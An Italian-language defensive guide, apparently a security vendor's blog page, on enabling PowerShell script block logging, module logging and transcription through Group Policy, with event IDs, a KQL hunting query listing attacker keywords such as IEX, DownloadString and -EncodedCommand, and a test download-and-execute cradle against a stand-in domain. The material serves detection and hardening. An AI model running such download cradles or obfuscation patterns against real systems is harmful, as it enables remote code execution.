Registrazione dei blocchi di script PowerShell Active Directory GPO: perché è uno di tre parametri, non uno solo
La registrazione dei blocchi di script PowerShell Active Directory GPO è, insieme alla registrazione dei moduli e alla trascrizione, tra i controlli di rilevamento a più alto valore che la maggior parte degli ambienti Windows lascia ancora disattivati per default. La registrazione dei blocchi di script è essa stessa un parametro controllato tramite criteri di gruppo che scrive il testo completo di ogni blocco di script PowerShell eseguito su una macchina — incluso il codice offuscato o generato dinamicamente — direttamente nel registro eventi di Windows. Insieme, i tre parametri fanno la differenza tra avere una traccia forense di ciò che è stato eseguito su un host e avere solo un vuoto dove prima c'era un incidente.
Questo conta più di quanto suggerisca la severità a catalogo. Gran parte del tradecraft moderno di post-exploitation è fileless: viene eseguito interamente in memoria tramite PowerShell, senza lasciare alcun eseguibile su disco che l'antivirus o l'EDR possano rilevare tramite scansione dei file (Malwarebytes / ThreatDown sul loader PowerShell-a-Cobalt-Strike di Black Basta). Senza questi tre parametri GPO, tale attività è di fatto invisibile per il vostro SIEM.
Come funzionano i tre parametri
I tre parametri risiedono sotto lo stesso percorso di criteri di gruppo — la stessa classe di oggetto trattata nella nostra guida alle configurazioni errate GPO come vettore di attacco, poiché una GPO collegata male o sovrascritta qui significa "attivato" solo sulla carta:
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
| Parametro | Nome GPO | Chiave di registro | Origine evento |
|---|---|---|---|
| Registrazione blocchi di script | Turn on Script Block Logging | HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging (DWORD) | Event ID 4104 |
| Registrazione moduli | Turn on Module Logging | HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging → EnableModuleLogging (DWORD) + ModuleNames | Event ID 4103 |
| Trascrizione | Turn on PowerShell Transcription | HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription → EnableTranscripting (DWORD) | File di testo, non il registro eventi |
Registrazione dei blocchi di script (Event ID 4104)
Una volta attivata, ogni blocco di script che PowerShell analizza — incluso uno codificato in Base64 o costruito a runtime tramite concatenazione di stringhe — viene registrato in Microsoft-Windows-PowerShell/Operational come evento con ID 4104, con il contenuto deoffuscato incluso. Questo è il più prezioso dei tre parametri, perché sconfigge l'offuscamento semplice: lo script dell'attaccante può apparire illeggibile sulla rete, ma PowerShell deve decodificarlo per eseguirlo, ed è esattamente in quel momento che la registrazione dei blocchi di script cattura il contenuto (TrustedSec, "Building a Detection Foundation Part 3: PowerShell and Script Logging").
Esiste un secondo livello opzionale all'interno dello stesso criterio: Log script block invocation start/stop events, che emette in aggiunta gli ID evento 4105 e 4106 per ogni blocco che inizia e termina l'esecuzione. È un livello molto verboso, disattivato per default anche quando la registrazione dei blocchi di script stessa è attiva, e genera un volume tale che la maggior parte degli ambienti lo lascia intenzionalmente disattivato su tutto il parco macchine.
$path = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item -Path $path -Force | Out-Null
Set-ItemProperty -Path $path -Name 'EnableScriptBlockLogging' -Value 1 -Type DWord
Registrazione dei moduli (Event ID 4103)
La registrazione dei moduli registra i dettagli di esecuzione della pipeline per i moduli specificati — invocazioni di cmdlet, parametri e output degli oggetti della pipeline — come evento con ID 4103. Esiste da PowerShell 3.0 come proprietà LogPipelineExecutionDetails di un modulo; la GPO è solo il modo per attivarla su tutto il parco macchine. È disattivata per default per ogni modulo integrato (Microsoft Learn, about_Group_Policy_Settings). Nella finestra di dialogo Show… della GPO si elencano i nomi dei moduli da registrare; usare * copre tutti i moduli, il che è ciò che dovrebbe fare la maggior parte degli ambienti — registrare solo un elenco selezionato manualmente di moduli crea un punto cieco non appena un attaccante usa qualcos'altro.
Trascrizione (nessun ID evento — file semplici)
La trascrizione è diversa per natura: invece di scrivere nel registro eventi, scrive una trascrizione in testo semplice di ogni input e output PowerShell in un file, in modo simile a eseguire Start-Transcript automaticamente a ogni sessione. Configurate OutputDirectory verso una condivisione UNC centralizzata e ad accesso limitato invece di lasciarla al valore predefinito per utente, e attivate Include invocation headers in modo che ogni comando venga marcato temporalmente. Poiché le trascrizioni sono file su disco (o su una condivisione), rappresentano una fonte forense distinta dal registro eventi e sopravvivono in modo indipendente se un attaccante cancella i registri eventi di Windows.
Perché questo è un vuoto di rilevamento, non solo una casella di conformità
Framework come Empire e Cobalt Strike eseguono i loro stager PowerShell e i moduli di post-exploitation interamente in memoria. Il team di ricerca sul rilevamento di Splunk ha costruito un analytic specifico per questo scenario esatto — rilevare Empire tramite la registrazione dei blocchi di script PowerShell — proprio perché, senza eventi 4104, l'esecuzione in memoria di Empire non lascia nient'altro da cacciare sull'host. La registrazione della creazione dei processi (ID evento 4688) mostrerà comunque l'avvio di powershell.exe, ma la riga di comando da sola è spesso troncata, codificata, o avvolta in offuscamento sufficiente perché il cosa — il codice effettivamente eseguito — sia recuperabile solo dal contenuto deoffuscato del blocco di script fornito dall'evento 4104 (Splunk, "Hunting for Malicious PowerShell using Script Block Logging").
Un esempio concreto: l'analisi di ThreatDown su un'intrusione Black Basta ha rilevato che lo stager PowerShell iniziale impilava più cicli di codifica Base64, compressione e crittografia specificamente per sconfiggere l'ispezione statica, prima di iniettare un beacon Cobalt Strike direttamente in memoria (ThreatDown, "How Black Basta Used PowerShell to Set Up a Cobalt Strike Beacon"). Nulla di questa catena tocca il disco in un modo che le firme antivirus tradizionali rilevino — la registrazione dei blocchi di script è ciò che ritrasforma il blob codificato in PowerShell leggibile nel vostro registro eventi, dopo che PowerShell stesso ha già svolto per voi il lavoro di decodifica.
In termini semplici: con tutti e tre i parametri disattivati, un attaccante che esegue un loader PowerShell codificato ed eseguito in memoria lascia un evento di creazione processo e nient'altro. Con essi attivati, lo stesso attacco lascia un blocco di script decodificato, la pipeline di modulo che ha toccato e una trascrizione testuale di ciò che ha fatto.
Rilevamento
Per la panoramica su quali ID evento Windows meritano davvero un posto nel vostro SIEM, vedere Monitoraggio Sicurezza AD: Event ID e SIEM. Per PowerShell nello specifico:
| Indicatore | Event ID | Origine | Cosa cercare |
|---|---|---|---|
| Contenuto del blocco di script | 4104 | Microsoft-Windows-PowerShell/Operational | Testo di script deoffuscato contenente Invoke-Expression, DownloadString, -EncodedCommand, IEX, caricamento riflessivo di assembly |
| Avvio/fine invocazione blocco di script | 4105 / 4106 | Microsoft-Windows-PowerShell/Operational | Presente solo se la registrazione dell'invocazione è attivata separatamente; utile per correlare la tempistica esatta di esecuzione |
| Esecuzione pipeline di modulo | 4103 | Microsoft-Windows-PowerShell/Operational | Cmdlet + parametri per moduli fuori dalla baseline normale di un host (es. Invoke-Mimikatz, Invoke-WMIExec) |
| Creazione processo | 4688 | Security | powershell.exe / pwsh.exe con -nop, -w hidden, -enc, o righe di comando insolitamente lunghe |
| File di trascrizione | n/a | Condivisione OutputDirectory configurata | Log di sessione in testo semplice correlati con la marca temporale di un evento 4104 sospetto |
Una query di caccia minima contro una tabella di eventi in stile Sentinel/KQL, usando il canale Microsoft-Windows-PowerShell/Operational:
Event
| where Channel == "Microsoft-Windows-PowerShell/Operational"
| where EventID in (4104, 4103, 4688)
| where RenderedDescription has_any (
"Invoke-Expression", "IEX", "DownloadString", "-EncodedCommand",
"FromBase64String", "Net.WebClient", "-nop", "-w hidden"
)
| project TimeGenerated, Computer, EventID, RenderedDescription
| order by TimeGenerated desc
Questo è un punto di partenza, non un rilevamento finito: adattate l'elenco has_any agli strumenti amministrativi normali del vostro ambiente, poiché i moduli RSAT, gli agenti di backup e gli agenti EDR compaiono tutti regolarmente nella telemetria 4103 e sommergeranno una regola ingenua di falsi positivi. Instradate lo stesso canale verso il prodotto di correlazione che già utilizzate — Sentinel, Splunk o un SIEM on-premise consumano tutti Microsoft-Windows-PowerShell/Operational allo stesso modo, quindi lo sforzo è nella messa a punto, non nell'idraulica.
⚠️ Attenzione: il 4104 da solo non mostrerà la tempistica di avvio/fine, e la trascrizione da sola non sopravviverà a un attaccante che disattiva le chiavi di registro di logging a metà sessione con privilegi elevati. Trattate i tre parametri come livelli complementari, non come sostituti l'uno dell'altro.
Rimedio
💡 Vittoria rapida: se attivate solo uno dei tre, che sia la registrazione dei blocchi di script (4104) — ha il valore di rilevamento più alto per il volume di log più basso, poiché cattura contenuto deoffuscato invece di rumore grezzo di pipeline.
- Attivate la registrazione dei blocchi di script. In una GPO collegata alle vostre OU di workstation/server:
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on Script Block Logging→ Enabled. Lasciate disattivata la sotto-opzione di avvio/fine a meno che non abbiate budget SIEM per il volume aggiuntivo. - Attivate la registrazione dei moduli per tutti i moduli. Stesso percorso GPO,
Turn on Module Logging→ Enabled → in Show…, aggiungete*in modo che nessun modulo resti non registrato. - Attivate la trascrizione con una directory di output centralizzata.
Turn on PowerShell Transcription→ Enabled, impostateOutputDirectoryverso una condivisione UNC di sola scrittura (negate lettura/eliminazione agli utenti standard), e spuntate Include invocation headers. - Instradate
Microsoft-Windows-PowerShell/Operationalverso il vostro SIEM. Questi parametri aiutano solo se gli eventi lasciano l'host — è la stessa disciplina di criteri di controllo trattata in Lacune nella configurazione dei criteri di controllo di Active Directory: assicuratevi che la vostra configurazione di inoltro log sia effettivamente sottoscritta a questo canale, non solo aSecurity. - Verificate con
gpresulte il registro, non solo con la console GPO — confermate su un campione di server e workstation membri che il criterio si sia effettivamente applicato (gpresult /h report.htmlo verificando le chiavi di registro sopra), poiché gli errori di ambito di collegamento e precedenza GPO sono una causa comune per cui criteri "attivati" non raggiungono mai l'endpoint. - Testate la pipeline end-to-end. Su un host di test isolato, eseguite un comando deliberatamente segnalato ma innocuo (ad esempio
IEX (New-Object Net.WebClient).DownloadString('http://example.invalid')contro un dominio che non si risolve) e confermate che l'evento 4104 corrispondente appaia sia localmente sia nel vostro SIEM. Una GPO che "si applica" ma i cui eventi non raggiungono mai il SIEM equivale funzionalmente a nessuna GPO. - Limitate chi può modificare la GPO e chi ha privilegi di amministratore locale. I tre parametri risiedono nel registro sotto
HKLM; un utente con privilegi di amministratore locale può disattivarli, quindi delimitate deliberatamente l'appartenenza al gruppo amministratori locali come parte dello stesso intervento di hardening. Abbinate questo a credenziali di amministratore locale univoche e ruotate — vedere Windows LAPS non distribuito — e l'elenco di priorità più ampio in Messa in sicurezza Active Directory: cosa bloccare prima.
Come EtcSec rileva questo problema
L'audit Active Directory di EtcSec verifica lo stato effettivo dei tre parametri in tutto il vostro dominio tramite le voci di catalogo PA038_PS_SCRIPTBLOCK_LOGGING_OFF, PA038_PS_MODULE_LOGGING_OFF e PA038_PS_TRANSCRIPTION_OFF, oltre al controllo più ampio POWERSHELL_LOGGING_DISABLED, e segnala gli host o gli ambiti GPO in cui l'attività PowerShell verrebbe eseguita senza essere registrata — lo stesso problema di deriva della postura trattato in Auditare la sicurezza di Active Directory: cosa verificare per prima.
ℹ️ Nota: EtcSec verifica automaticamente questa vulnerabilità a ogni audit AD. Eseguite un audit gratuito per verificare che il vostro ambiente non lasci attività PowerShell non registrata.
Esplora le pagine di identity security collegate a questo tema

